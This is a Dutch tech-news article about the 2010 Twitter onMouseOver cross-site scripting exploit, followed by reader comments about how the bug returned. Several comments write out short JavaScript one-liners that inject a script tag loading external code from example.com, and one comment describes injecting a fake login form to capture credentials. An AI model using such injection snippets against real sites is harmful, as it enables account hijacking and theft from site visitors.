Tweakers maakt gebruik van cookies, onder andere om de website te analyseren, het gebruiksgemak te vergroten en advertenties te tonen. Door gebruik te maken van deze website, of door op 'Ga verder' te klikken, geef je toestemming voor het gebruik van cookies. Je kunt ook een cookievrije versie van de website bezoeken met minder functionaliteit. Wil je meer informatie over cookies en hoe ze worden gebruikt, bekijk dan ons cookiebeleid.

Meer informatie

Door , , reacties: 38, views: 11.478 •

Twitter stelt in een blog dat het de kwetsbaarheid op zijn website waar dinsdag via een javascript-exploit op grote schaal misbruik van werd gemaakt, al vorige maand had gedicht. Het parsingsprobleem is vermoedelijk na een site-upgrade teruggekeerd.

Dinsdag werden de tijdlijnen van veel Twitter-gebruikers overspoeld met gemanipuleerde tweets die met behulp van een onMouseOver-event van javascript, code in een browser uitgevoerden. Bezoekers van Twitter.com werden onder andere doorgestuurd naar een Japanse pornosite zodra de muiscursor over een dergelijk bericht gleed. Ook werden berichten automatisch 'geretweet'.

Twitter wist de bug na enkele uren te dichten. In een toelichting op de zaak laat de firma weten dat de fout op de website vorige maand al was ontdekt en gerepareerd, maar dat de bug toch weer opdook. Waarschijnlijk is dit gebeurd bij de site-upgrade die het bedrijf op 14 september doorvoerde, maar de precieze oorzaak is niet bekend. Verder stelt Twitter tot nu toe geen aanwijzingen te hebben dat de exploit tot grote schade heeft geleid, zoals het stelen van wachtwoorden. Gebruikers van Twitterclients en de mobiele website zouden niet door de exploit getroffen zijn.

Inmiddels wordt er op de microblogdienst en op het web druk gespeculeerd over welke gebruiker dinsdag als eerste de gewraakte exploitcode op Twitter plaatste. Een 17-jarige Australiër die op Twitter opereert onder de alias @Zzap stelt tegenover persbureau AFP dat hij als eerste de gewraakte javascript-code plaatste waarna het balletje vanzelf ging rollen. Beveiligingssite Netcraft onderschrijft de claim van Zzap, maar The Guardian schrijft dat de Japanse ontwikkelaar Masato Kinugawa al op 15 augustus de xss-exploit bij Twitter rapporteerde. Toen Twitter zijn website op 14 september vernieuwde zou Kinugawa opnieuw de bug zijn tegengekomen.

Xss-exploit op Twitter

Reacties (38)

Dat wordt dan snel Twitter 2.0 uitrollen
Toch wel vaag... Bij een site waarbij het doel is dat derden informatie op de site zetten, moet je het systeem toch driedubbel beveiligd hebben tegen dit soort simpele hacks.

Het is niet alsof hier nou een briljante truuk wordt uitgehaald...
Toch slordig. Ga je je toch afvragen welke problemen er nog meer opgelost zijn om vervolgens weer geintroduceerd te worden. Zou wel grappig zijn als hij er bij de release van Twitter 2.0 weer in zit ;)
Twitter 2.0 was niet vatbaar voor dit specifieke probleem.
Slordig foutje, maar kan gebeuren. Valt me nog mee hoeveel misbruik hier van gemaakt is. Met een beetje javascript kennis kon je al gauw een fake-login formpje injecteren, die eventuele login data zo naar je webservertje kon sturen.
De code mag uiteraard niet meer dan 140 tekens bevatten, dus dat lijkt me niet helemaal reŽel.
In 140 tekens kun je wel een extern Javascriptje includen, en dan heb je geen limiet meer.
De 140 tekens limiet is niet echt relevant, aangezien er al een versie in omloop was die via jQuery's getScript externe javascript inlaadde.
Dat gezever over $.getScript() de hele tijd, ook zonder jQuery kun je gewoon een script inladen binnen 140 tekens :)

s=document.createElement("script");s.src="http://example.com/script.js";document.body.appendChild(s)
Ontopic. Hoe komt het, dat dit zulk groot nieuws is dat het op het NOS Journaal is?
Omdat het nieuws gemaakt wordt door journalisten, journalisten twitter gebruiken (=lekker makkelijk "nieuws" scroren) en dit dus in hun belevingswereld zit.
Nou, wat denk je als een random fake tweet generator zou gaan werken.
Valse beursberichten, strafbare of ongewenste uitlatingen. Impact lijkt me groot.
Voorbeeldje: Bill Cosby is al meermaals doodverklaard op Twitter.
Dan is het volgende (95 karakters) net 5 karakters korter:
d=document;d.body.appendChild(s=d.createElement("script"));s.src="http://example.com/script.js"

Zie maar wat je in 140 or 1024 bytes (zonder externe js libraries) kan doen op http://js1k.com/demos .. waarbij http://js1k.com/demo/814 mijn 1024 bytes demo is :P Maar tussen de entries zitten ook een reeks 'tweetsized' effecten.
getScript stelt je in staat externe javascriptcode in te laden, dus je bent verder niet echt gelimiteerd door die 140 tekens.
Nee. Zoiets mag per definitie niet gebeuren. Dit soort dingen gebeuren alleen als release management en change management niet goed ingericht zijn. Beide processen hadden moeten onderkennen dat er naast de minor change / patch management ook nog een major change / nieuwe versie in de pijplijn zat. Vervolgens had men moeten kijken of de betreffende module / funcionaliteit ook in deze nieuwe versie zit en de betreffende patch ook moeten opnemen.

Je ziet dit soort grapjes ook wel als in versie 1.8 een nieuwe functionaliteit wordt aangeboden, die vervolgens in 2.0 weer weg is om in 2.1 weer terug te keren.

En voor Stainless steel. Je hoeft maar een code aan te kunnen roepen die (onder water) iets op een andere server opstart en je bent klaar. Dat hoeft geen 140 karakters in beslag te nemen.
En je wordt niet omhoog gemodereerd ook :')

Zoiet kan NIET gebeuren. Als je deze basis kennis niet beheerst is elke website onveilig die je maakt.
Zoiet kan NIET gebeuren.
Het "Een bug gefixed en niet mee genomen in de volgende (major) release" scenario. Gebeurt zo vaak. Zeker als je denkt dat het nooit kan gebeuren. Apart is het zeker dit scenario dient door elk testplan gedekt te worden. Niet direct de test afdeling van twitter afschieten want die zal waarschijnlijk als afdeling niet bestaan.
Het leuke is dat we dit soort grapjes 10 jaar geleden al uithaalden op HTML chat sites. Een soort kat-en-muis spelletje. Steeds werd het filter iets aangepast, waarna op een gegeven moment weer een exploit werd gevonden waarmee je toch weer javascript kon laten uitvoeren. Bijvoorbeeld een obscure codering om bepaalde tekens te omzeilen, of een slecht gedocumenteerde browser-specifieke manier.
Later kwamen er hele lijsten met dit soort trucs en werd het plots 'XSS' en viel het onder de 'hacks'.

Hierdoor heb ik zelf iig in mijn sites altijd mijn allerbest gedaan om (via whitelists) om alleen HTML te accepteren dat geen gevaar vormt.

Ach, het is wat ze zeggen, 'oud wordt weer nieuw'. Maar toch echt rampzalig slordig, dat mag gezegd worden.
Zover ik heb begrepen hebben ze Twitter 1.0 alleen gepatched met een soort van zwartelijst voor dit type code. Twitter schijnt nog steeds vatbaar te zijn voor permanente XSS aanvallen.
Vind de wind die er om ontstaan is eigenlijk een beetje buiten proportioneel. Tis een beetje zo'n "irritant maar verder niet echt boeiend" ding dit. Niet zo dat er computer gevaar lopen of data onveilig is. Technische team daar zijn wellicht ook maar mensen.
Inderdaad, alle Belgische clickwhoring nieuwssites spraken direct over "gevaarlijk Twittervirus" de wereld gaat eraan 2012!
Dat zou ik niet te hard roepen. Zo'n javascriptje zou door middel van een browser gat een rootkit op je PC kunnen installeren, of je redirecten naar een malware pagina die dat (bijv. via een gat in Flash) doet.
Grappig, dat is precies wat ik dacht. Toch wel slordig, maar vrij snel opgelost.
Klinkt als een foutje bij het mergen van de development versie ('twitter 2.0') met de trunk / productiecode. Als ze al een test voor die exploit hadden kan die ook zomaar overschreven zijn.
Version control anyone? Hoe kan je nu een essential patch maken en die blijkbaar niet goed in je version control systeem zetten, zodat bij nieuwe updates de patch er weer uit valt :?
Beetje kort door de bocht. Het kan ook dat de patch bij een merge van twee branches per ongeluk is verdwenen. Oftewel, het al dan niet hebben van version control zegt niets over de mogelijkheid tot dit soort fouten.
Daarom hebben echte dev. teams meerdere lagen om dit op te vangen. Dit had dan bijvoorbeeld tijdens en regressietest of anders een penetratietest gevonden geworden. Het blijft in alle gevallen mensenwerk maar de kans dat 3 of 4 verschillende mensen dezeflde fout maken waardoor dit toch live gaat is wel heel erg klein.
Echter, ik vermoed dat het Twitter dev. team niet zo heel erg professioneel is: dit soort extra zaken zitten je time-to-market in de weg en worden dus niet snel toegevoegd als het geen direkte meerwaarde oplevert.
ondertussen runt dit niet zo professionele team 1 van de drukst bezochte sites... doen ze dus toch iets goed
Commercieel succes zegt vrij weinig over de professionaliteit en de kundigheid van de developers. Waarmee ik overigens ook niet wil insinueren dat de lui van twitter niet professioneel zijn, dat waren de woorden van latka.
Foutje zit in een klein hoekje. Ze gebruiken git als versie beheer. Heel makkelijk om verschillende branches met elkaar te mergen. Ze hadden gewoon even niet goed opgelet en gedacht snel even een update uit te voeren en niet gemerged met een branch van een tijdje geleden vergeten toe te voegen. Kan gebeuren. Niet te vaak alleen :P
Je bent als grote website wel heel slecht bezig als je zulke kleine dingen niet beveiligd. Iets waar de hele site voor is gemaakt is niet beveiligd?!

Snap niet dat zoiets kan gebeuren.

Op dit item kan niet meer gereageerd worden.